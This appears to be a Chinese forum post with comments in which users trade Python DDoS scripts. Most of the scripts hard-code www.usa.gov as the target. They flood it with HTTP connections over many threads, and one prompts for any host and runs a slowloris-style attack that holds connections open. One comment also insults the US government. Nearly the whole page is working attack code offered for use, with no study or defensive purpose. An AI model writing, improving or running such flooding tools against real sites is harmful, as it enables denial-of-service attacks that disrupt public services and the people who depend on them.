看懂扣114514

import socket
import random


target_ip = "www.usa.gov"
target_port = 80
def ddos_attack():
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            source_ip = ".".join(str(random.randint(0, 255)) for _ in range(4))
            source_port = random.randint(1024, 65535)
            s.connect((target_ip, target_port))
            s.sendto(("GET /" + target_ip + " HTTP/1.1\r\n").encode('utf-8'), (target_ip, target_port))
            s.sendto(("Host: " + source_ip + "\r\n\r\n").encode('utf-8'), (target_ip, target_port))
            s.close()
        except:
            pass


ddos_attack()

8 comments

  • @ 2024-2-8 10:35:15
    import random
    import threading
    import socket
    
    
    target_ip = "www.usa.gov"
    target_port = 80
    
    
    def ddos_attack():
        while True:
            source_ip = ".".join(str(random.randint(0, 255)) for _ in range(4))
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((target_ip, target_port))
                s.sendto(("GET /" + target_ip + " HTTP/1.1\r\n").encode(), (target_ip, target_port))
                s.sendto(("Host: " + source_ip + "\r\n\r\n").encode(), (target_ip, target_port))
                s.close()
            except:
                pass
    
    
    num_threads = 100
    for _ in range(num_threads):
        t = threading.Thread(target=ddos_attack)
        t.start()
    
    
    
    • @ 2024-2-8 10:30:08

      最猛的一个:

      import socket
      import time
      import threading
      
      
      print("|\   |\    /---\    /---\ ")
      print("| \  | \  /     \   |")
      print("|  | | | |       |  \ ")
      print("| /  | /  \     /    \ ")
      print("|/   |/    \---/  \---| ")
      print("DDOS攻击")
      MAX_CONN = 99999999999999999999999999999999999
      PORT = 80
      HOST = input("攻击目标:")
      PAGE = input("攻击页面:")
      buf = ("POST %s HTTP/1.1\r\n"
             "Host: %s\r\n"
             "Content-Length: 10000\r\n"
             "Cookie: dklkt_dos_test\r\n"
             "\r\n" % (PAGE, HOST))
      socks = []
      print("正在准备攻击,3秒后将会开始对"+HOST+"的攻击")
      time.sleep(3)
      
      
      def conn_thread():
          global socks
          for i in range(0, MAX_CONN):
              s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
              try:
                  s.connect((HOST, PORT))
                  s.send(buf.encode())
                  print("成功!,conn=%d\n" % i)
                  socks.append(s)
              except Exception as ex:
                  print("失败!%s" % ex)
      
      
      def send_thread():
          global socks
          while True:
              for s in socks:
                  try:
                      s.send("f".encode())
                  except Exception as ex:
                      print("异常!%s\n" % ex)
                      socks.remove(s)
                      s.close()
              time.sleep(1)
      
      
      conn_th = threading.Thread(target=conn_thread, args=())
      send_th = threading.Thread(target=send_thread, args=())
      conn_th.start()
      send_th.start()
      conn_th2 = threading.Thread(target=conn_thread, args=())
      send_th2 = threading.Thread(target=send_thread, args=())
      conn_th2.start()
      send_th2.start()
      conn_th3 = threading.Thread(target=conn_thread, args=())
      send_th3 = threading.Thread(target=send_thread, args=())
      conn_th3.start()
      send_th3.start()
      conn_th4 = threading.Thread(target=conn_thread, args=())
      send_th4 = threading.Thread(target=send_thread, args=())
      conn_th4.start()
      send_th4.start()
      conn_th5 = threading.Thread(target=conn_thread, args=())
      send_th5 = threading.Thread(target=send_thread, args=())
      conn_th5.start()
      send_th5.start()
      conn_th6 = threading.Thread(target=conn_thread, args=())
      send_th6 = threading.Thread(target=send_thread, args=())
      conn_th6.start()
      send_th6.start()
      conn_th7 = threading.Thread(target=conn_thread, args=())
      send_th7 = threading.Thread(target=send_thread, args=())
      conn_th7.start()
      send_th7.start()
      conn_th8 = threading.Thread(target=conn_thread, args=())
      send_th8 = threading.Thread(target=send_thread, args=())
      conn_th8.start()
      send_th8.start()
      conn_th9 = threading.Thread(target=conn_thread, args=())
      send_th9 = threading.Thread(target=send_thread, args=())
      conn_th9.start()
      send_th9.start()
      conn_th10 = threading.Thread(target=conn_thread, args=())
      send_th10 = threading.Thread(target=send_thread, args=())
      conn_th10.start()
      send_th10.start()
      conn_th11 = threading.Thread(target=conn_thread, args=())
      send_th11 = threading.Thread(target=send_thread, args=())
      conn_th11.start()
      send_th11.start()
      conn_th12 = threading.Thread(target=conn_thread, args=())
      send_th12 = threading.Thread(target=send_thread, args=())
      conn_th12.start()
      send_th12.start()
      conn_th13 = threading.Thread(target=conn_thread, args=())
      send_th13 = threading.Thread(target=send_thread, args=())
      conn_th13.start()
      send_th13.start()
      conn_th14 = threading.Thread(target=conn_thread, args=())
      send_th14 = threading.Thread(target=send_thread, args=())
      conn_th14.start()
      send_th14.start()
      conn_th15 = threading.Thread(target=conn_thread, args=())
      send_th15 = threading.Thread(target=send_thread, args=())
      conn_th15.start()
      send_th15.start()
      conn_th16 = threading.Thread(target=conn_thread, args=())
      send_th16 = threading.Thread(target=send_thread, args=())
      conn_th16.start()
      send_th16.start()
      conn_th17 = threading.Thread(target=conn_thread, args=())
      send_th17 = threading.Thread(target=send_thread, args=())
      conn_th17.start()
      send_th17.start()
      conn_th18 = threading.Thread(target=conn_thread, args=())
      send_th18 = threading.Thread(target=send_thread, args=())
      conn_th18.start()
      send_th18.start()
      conn_th19 = threading.Thread(target=conn_thread, args=())
      send_th19 = threading.Thread(target=send_thread, args=())
      conn_th19.start()
      send_th19.start()
      conn_th20 = threading.Thread(target=conn_thread, args=())
      send_th20 = threading.Thread(target=send_thread, args=())
      conn_th20.start()
      send_th20.start()
      conn_th21 = threading.Thread(target=conn_thread, args=())
      send_th21 = threading.Thread(target=send_thread, args=())
      conn_th21.start()
      send_th21.start()
      conn_th22 = threading.Thread(target=conn_thread, args=())
      send_th22 = threading.Thread(target=send_thread, args=())
      conn_th22.start()
      send_th22.start()
      conn_th23 = threading.Thread(target=conn_thread, args=())
      send_th23 = threading.Thread(target=send_thread, args=())
      conn_th23.start()
      send_th23.start()
      conn_th24 = threading.Thread(target=conn_thread, args=())
      send_th24 = threading.Thread(target=send_thread, args=())
      conn_th24.start()
      send_th24.start()
      conn_th25 = threading.Thread(target=conn_thread, args=())
      send_th25 = threading.Thread(target=send_thread, args=())
      conn_th25.start()
      send_th25.start()
      conn_th26 = threading.Thread(target=conn_thread, args=())
      send_th26 = threading.Thread(target=send_thread, args=())
      conn_th26.start()
      send_th26.start()
      conn_th27 = threading.Thread(target=conn_thread, args=())
      send_th27 = threading.Thread(target=send_thread, args=())
      conn_th27.start()
      send_th27.start()
      conn_th28 = threading.Thread(target=conn_thread, args=())
      send_th28 = threading.Thread(target=send_thread, args=())
      conn_th28.start()
      send_th28.start()
      conn_th29 = threading.Thread(target=conn_thread, args=())
      send_th29 = threading.Thread(target=send_thread, args=())
      conn_th29.start()
      send_th29.start()
      conn_th30 = threading.Thread(target=conn_thread, args=())
      send_th30 = threading.Thread(target=send_thread, args=())
      conn_th30.start()
      send_th30.start()
      conn_th31 = threading.Thread(target=conn_thread, args=())
      send_th31 = threading.Thread(target=send_thread, args=())
      conn_th31.start()
      send_th31.start()
      conn_th32 = threading.Thread(target=conn_thread, args=())
      send_th32 = threading.Thread(target=send_thread, args=())
      conn_th32.start()
      send_th32.start()
      conn_th33 = threading.Thread(target=conn_thread, args=())
      send_th33 = threading.Thread(target=send_thread, args=())
      conn_th33.start()
      send_th33.start()
      conn_th34 = threading.Thread(target=conn_thread, args=())
      send_th34 = threading.Thread(target=send_thread, args=())
      conn_th34.start()
      send_th34.start()
      conn_th35 = threading.Thread(target=conn_thread, args=())
      send_th35 = threading.Thread(target=send_thread, args=())
      conn_th35.start()
      send_th35.start()
      conn_th36 = threading.Thread(target=conn_thread, args=())
      send_th36 = threading.Thread(target=send_thread, args=())
      conn_th36.start()
      send_th36.start()
      conn_th37 = threading.Thread(target=conn_thread, args=())
      send_th37 = threading.Thread(target=send_thread, args=())
      conn_th37.start()
      send_th37.start()
      conn_th38 = threading.Thread(target=conn_thread, args=())
      send_th38 = threading.Thread(target=send_thread, args=())
      conn_th38.start()
      send_th38.start()
      conn_th39 = threading.Thread(target=conn_thread, args=())
      send_th39 = threading.Thread(target=send_thread, args=())
      conn_th39.start()
      send_th39.start()
      conn_th40 = threading.Thread(target=conn_thread, args=())
      send_th40 = threading.Thread(target=send_thread, args=())
      conn_th40.start()
      send_th40.start()
      conn_th41 = threading.Thread(target=conn_thread, args=())
      send_th41 = threading.Thread(target=send_thread, args=())
      conn_th41.start()
      send_th41.start()
      conn_th42 = threading.Thread(target=conn_thread, args=())
      send_th42 = threading.Thread(target=send_thread, args=())
      conn_th42.start()
      send_th42.start()
      conn_th43 = threading.Thread(target=conn_thread, args=())
      send_th43 = threading.Thread(target=send_thread, args=())
      conn_th43.start()
      send_th43.start()
      conn_th44 = threading.Thread(target=conn_thread, args=())
      send_th44 = threading.Thread(target=send_thread, args=())
      conn_th44.start()
      send_th44.start()
      conn_th45 = threading.Thread(target=conn_thread, args=())
      send_th45 = threading.Thread(target=send_thread, args=())
      conn_th45.start()
      send_th45.start()
      conn_th46 = threading.Thread(target=conn_thread, args=())
      send_th46 = threading.Thread(target=send_thread, args=())
      conn_th46.start()
      send_th46.start()
      conn_th47 = threading.Thread(target=conn_thread, args=())
      send_th47 = threading.Thread(target=send_thread, args=())
      conn_th47.start()
      send_th47.start()
      conn_th48 = threading.Thread(target=conn_thread, args=())
      send_th48 = threading.Thread(target=send_thread, args=())
      conn_th48.start()
      send_th48.start()
      conn_th49 = threading.Thread(target=conn_thread, args=())
      send_th49 = threading.Thread(target=send_thread, args=())
      conn_th49.start()
      send_th49.start()
      conn_th50 = threading.Thread(target=conn_thread, args=())
      send_th50 = threading.Thread(target=send_thread, args=())
      conn_th50.start()
      send_th50.start()
      conn_th51 = threading.Thread(target=conn_thread, args=())
      send_th51 = threading.Thread(target=send_thread, args=())
      conn_th51.start()
      send_th51.start()
      conn_th52 = threading.Thread(target=conn_thread, args=())
      send_th52 = threading.Thread(target=send_thread, args=())
      conn_th52.start()
      send_th52.start()
      conn_th53 = threading.Thread(target=conn_thread, args=())
      send_th53 = threading.Thread(target=send_thread, args=())
      conn_th53.start()
      send_th53.start()
      conn_th54 = threading.Thread(target=conn_thread, args=())
      send_th54 = threading.Thread(target=send_thread, args=())
      conn_th54.start()
      send_th54.start()
      conn_th55 = threading.Thread(target=conn_thread, args=())
      send_th55 = threading.Thread(target=send_thread, args=())
      conn_th55.start()
      send_th55.start()
      conn_th56 = threading.Thread(target=conn_thread, args=())
      send_th56 = threading.Thread(target=send_thread, args=())
      conn_th56.start()
      send_th56.start()
      conn_th57 = threading.Thread(target=conn_thread, args=())
      send_th57 = threading.Thread(target=send_thread, args=())
      conn_th57.start()
      send_th57.start()
      conn_th58 = threading.Thread(target=conn_thread, args=())
      send_th58 = threading.Thread(target=send_thread, args=())
      conn_th58.start()
      send_th58.start()
      conn_th59 = threading.Thread(target=conn_thread, args=())
      send_th59 = threading.Thread(target=send_thread, args=())
      conn_th59.start()
      send_th59.start()
      conn_th60 = threading.Thread(target=conn_thread, args=())
      send_th60 = threading.Thread(target=send_thread, args=())
      conn_th60.start()
      send_th60.start()
      conn_th61 = threading.Thread(target=conn_thread, args=())
      send_th61 = threading.Thread(target=send_thread, args=())
      conn_th61.start()
      send_th61.start()
      conn_th62 = threading.Thread(target=conn_thread, args=())
      send_th62 = threading.Thread(target=send_thread, args=())
      conn_th62.start()
      send_th62.start()
      conn_th63 = threading.Thread(target=conn_thread, args=())
      send_th63 = threading.Thread(target=send_thread, args=())
      conn_th63.start()
      send_th63.start()
      conn_th64 = threading.Thread(target=conn_thread, args=())
      send_th64 = threading.Thread(target=send_thread, args=())
      conn_th64.start()
      send_th64.start()
      conn_th65 = threading.Thread(target=conn_thread, args=())
      send_th65 = threading.Thread(target=send_thread, args=())
      conn_th65.start()
      send_th65.start()
      conn_th66 = threading.Thread(target=conn_thread, args=())
      send_th66 = threading.Thread(target=send_thread, args=())
      conn_th66.start()
      send_th66.start()
      conn_th67 = threading.Thread(target=conn_thread, args=())
      send_th67 = threading.Thread(target=send_thread, args=())
      conn_th67.start()
      send_th67.start()
      conn_th68 = threading.Thread(target=conn_thread, args=())
      send_th68 = threading.Thread(target=send_thread, args=())
      conn_th68.start()
      send_th68.start()
      conn_th69 = threading.Thread(target=conn_thread, args=())
      send_th69 = threading.Thread(target=send_thread, args=())
      conn_th69.start()
      send_th69.start()
      conn_th70 = threading.Thread(target=conn_thread, args=())
      send_th70 = threading.Thread(target=send_thread, args=())
      conn_th70.start()
      send_th70.start()
      conn_th71 = threading.Thread(target=conn_thread, args=())
      send_th71 = threading.Thread(target=send_thread, args=())
      conn_th71.start()
      send_th71.start()
      conn_th72 = threading.Thread(target=conn_thread, args=())
      send_th72 = threading.Thread(target=send_thread, args=())
      conn_th72.start()
      send_th72.start()
      conn_th73 = threading.Thread(target=conn_thread, args=())
      send_th73 = threading.Thread(target=send_thread, args=())
      conn_th73.start()
      send_th73.start()
      conn_th74 = threading.Thread(target=conn_thread, args=())
      send_th74 = threading.Thread(target=send_thread, args=())
      conn_th74.start()
      send_th74.start()
      conn_th75 = threading.Thread(target=conn_thread, args=())
      send_th75 = threading.Thread(target=send_thread, args=())
      conn_th75.start()
      send_th75.start()
      conn_th76 = threading.Thread(target=conn_thread, args=())
      send_th76 = threading.Thread(target=send_thread, args=())
      conn_th76.start()
      send_th76.start()
      conn_th77 = threading.Thread(target=conn_thread, args=())
      send_th77 = threading.Thread(target=send_thread, args=())
      conn_th77.start()
      send_th77.start()
      conn_th78 = threading.Thread(target=conn_thread, args=())
      send_th78 = threading.Thread(target=send_thread, args=())
      conn_th78.start()
      send_th78.start()
      conn_th79 = threading.Thread(target=conn_thread, args=())
      send_th79 = threading.Thread(target=send_thread, args=())
      conn_th79.start()
      send_th79.start()
      conn_th80 = threading.Thread(target=conn_thread, args=())
      send_th80 = threading.Thread(target=send_thread, args=())
      conn_th80.start()
      send_th80.start()
      conn_th81 = threading.Thread(target=conn_thread, args=())
      send_th81 = threading.Thread(target=send_thread, args=())
      conn_th81.start()
      send_th81.start()
      conn_th82 = threading.Thread(target=conn_thread, args=())
      send_th82 = threading.Thread(target=send_thread, args=())
      conn_th82.start()
      send_th82.start()
      conn_th83 = threading.Thread(target=conn_thread, args=())
      send_th83 = threading.Thread(target=send_thread, args=())
      conn_th83.start()
      send_th83.start()
      conn_th84 = threading.Thread(target=conn_thread, args=())
      send_th84 = threading.Thread(target=send_thread, args=())
      conn_th84.start()
      send_th84.start()
      conn_th85 = threading.Thread(target=conn_thread, args=())
      send_th85 = threading.Thread(target=send_thread, args=())
      conn_th85.start()
      send_th85.start()
      conn_th86 = threading.Thread(target=conn_thread, args=())
      send_th86 = threading.Thread(target=send_thread, args=())
      conn_th86.start()
      send_th86.start()
      conn_th87 = threading.Thread(target=conn_thread, args=())
      send_th87 = threading.Thread(target=send_thread, args=())
      conn_th87.start()
      send_th87.start()
      conn_th88 = threading.Thread(target=conn_thread, args=())
      send_th88 = threading.Thread(target=send_thread, args=())
      conn_th88.start()
      send_th88.start()
      conn_th89 = threading.Thread(target=conn_thread, args=())
      send_th89 = threading.Thread(target=send_thread, args=())
      conn_th89.start()
      send_th89.start()
      conn_th90 = threading.Thread(target=conn_thread, args=())
      send_th90 = threading.Thread(target=send_thread, args=())
      conn_th90.start()
      send_th90.start()
      conn_th91 = threading.Thread(target=conn_thread, args=())
      send_th91 = threading.Thread(target=send_thread, args=())
      conn_th91.start()
      send_th91.start()
      conn_th92 = threading.Thread(target=conn_thread, args=())
      send_th92 = threading.Thread(target=send_thread, args=())
      conn_th92.start()
      send_th92.start()
      conn_th93 = threading.Thread(target=conn_thread, args=())
      send_th93 = threading.Thread(target=send_thread, args=())
      conn_th93.start()
      send_th93.start()
      conn_th94 = threading.Thread(target=conn_thread, args=())
      send_th94 = threading.Thread(target=send_thread, args=())
      conn_th94.start()
      send_th94.start()
      conn_th95 = threading.Thread(target=conn_thread, args=())
      send_th95 = threading.Thread(target=send_thread, args=())
      conn_th95.start()
      send_th95.start()
      conn_th96 = threading.Thread(target=conn_thread, args=())
      send_th96 = threading.Thread(target=send_thread, args=())
      conn_th96.start()
      send_th96.start()
      conn_th97 = threading.Thread(target=conn_thread, args=())
      send_th97 = threading.Thread(target=send_thread, args=())
      conn_th97.start()
      send_th97.start()
      conn_th98 = threading.Thread(target=conn_thread, args=())
      send_th98 = threading.Thread(target=send_thread, args=())
      conn_th98.start()
      send_th98.start()
      conn_th99 = threading.Thread(target=conn_thread, args=())
      send_th99 = threading.Thread(target=send_thread, args=())
      conn_th99.start()
      send_th99.start()
      conn_th100 = threading.Thread(target=conn_thread, args=())
      send_th100 = threading.Thread(target=send_thread, args=())
      conn_th100.start()
      send_th100.start()
      
      
    • @ 2024-2-8 10:28:09
      import random
      import threading
      import socket
      
      
      target_ip = "www.usa.gov"
      target_port = 80
      
      
      def ddos_attack():
          while True:
              source_ip = ".".join(str(random.randint(0, 255)) for _ in range(4))
              try:
                  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                  s.connect((target_ip, target_port))
                  s.sendto(("GET /" + target_ip + " HTTP/1.1\r\n").encode(), (target_ip, target_port))
                  s.sendto(("Host: " + source_ip + "\r\n\r\n").encode(), (target_ip, target_port))
                  s.close()
              except:
                  pass
      
      
      num_threads = 100
      for _ in range(num_threads):
          t = threading.Thread(target=ddos_attack)
          t.start()
      
      
      • @ 2024-2-8 10:17:28
        import requests
        import threading
        import random
        
        
        def send_request(url):
            while True:
                try:
                    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
                    ip = '.'.join(str(random.randint(0, 255)) for _ in range(4))
                    proxies = {'http': f'http://{ip}:8080', 'https': f'https://{ip}:8080'}
                    response = requests.get(url, headers=headers, proxies=proxies)
                    print(f"Sent request to {url} from {ip}")
                except requests.exceptions.RequestException as e:
                    print(f"Error sending request to {url}: {e}")
        
        
        url = "http://www.usa.gov"
        for _ in range(100):
            thread = threading.Thread(target=send_request, args=(url,))
            thread.start()
        
        
        
        • @ 2024-2-8 10:14:54
          import requests
          import threading
          import random
          
          
          def send_request(url):
              while True:
                  try:
                      headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
                      ip = '.'.join(str(random.randint(0, 255)) for _ in range(4))
                      proxies = {'http': f'http://{ip}:8080', 'https': f'https://{ip}:8080'}
                      response = requests.get(url, headers=headers, proxies=proxies)
                      print(f"Sent request to {url} from {ip}")
                  except requests.exceptions.RequestException as e:
                      print(f"Error sending request to {url}: {e}")
          
          
          url = "http://www.usa.gov"
          for _ in range(100):
              thread = threading.Thread(target=send_request, args=(url,))
              thread.start()
          
          
          • @ 2024-2-7 17:11:23

            你碍我,我碍你,米国政府大**

            • @ 2024-2-7 17:09:13

              又来

              import random
              import socket
              import threading
              
              
              def generate_random_ip():
                  ip = ".".join(str(random.randint(0, 255)) for _ in range(4))
                  return ip
              
              
              def ddos_attack(target_ip, target_port):
                  while True:
                      try:
                          sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                          sock.connect((target_ip, target_port))
                          source_ip = generate_random_ip()
                          source_port = random.randint(1024, 65535)
                          payload = "GET / HTTP/1.1\r\nHost: {}\r\n\r\n".format(target_ip)
                          sock.sendto(payload.encode(), (source_ip, source_port))
                          sock.close()
                      except:
                          pass
              
              
              target_ip = "www.usa.gov"
              target_port = 80
              num_threads = 10
              for _ in range(num_threads):
                  thread = threading.Thread(target=ddos_attack, args=(target_ip, target_port))
                  thread.start()
              
              
              • @ 2024-2-6 11:28:10

                再来

                import socket
                import threading
                
                
                def ddos_attack(target_ip, target_port):
                    while True:
                        try:
                            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                            sock.connect((target_ip, target_port))
                            payload = "GET / HTTP/1.1\r\nHost: {}\r\n\r\n".format(target_ip)
                            sock.send(payload.encode())
                            sock.close()
                        except:
                            pass
                
                
                target_ip = "www.usa.gov"
                target_port = 80
                num_threads = 114514
                for _ in range(num_threads):
                    thread = threading.Thread(target=ddos_attack, args=(target_ip, target_port))
                    thread.start()
                
                
                • 1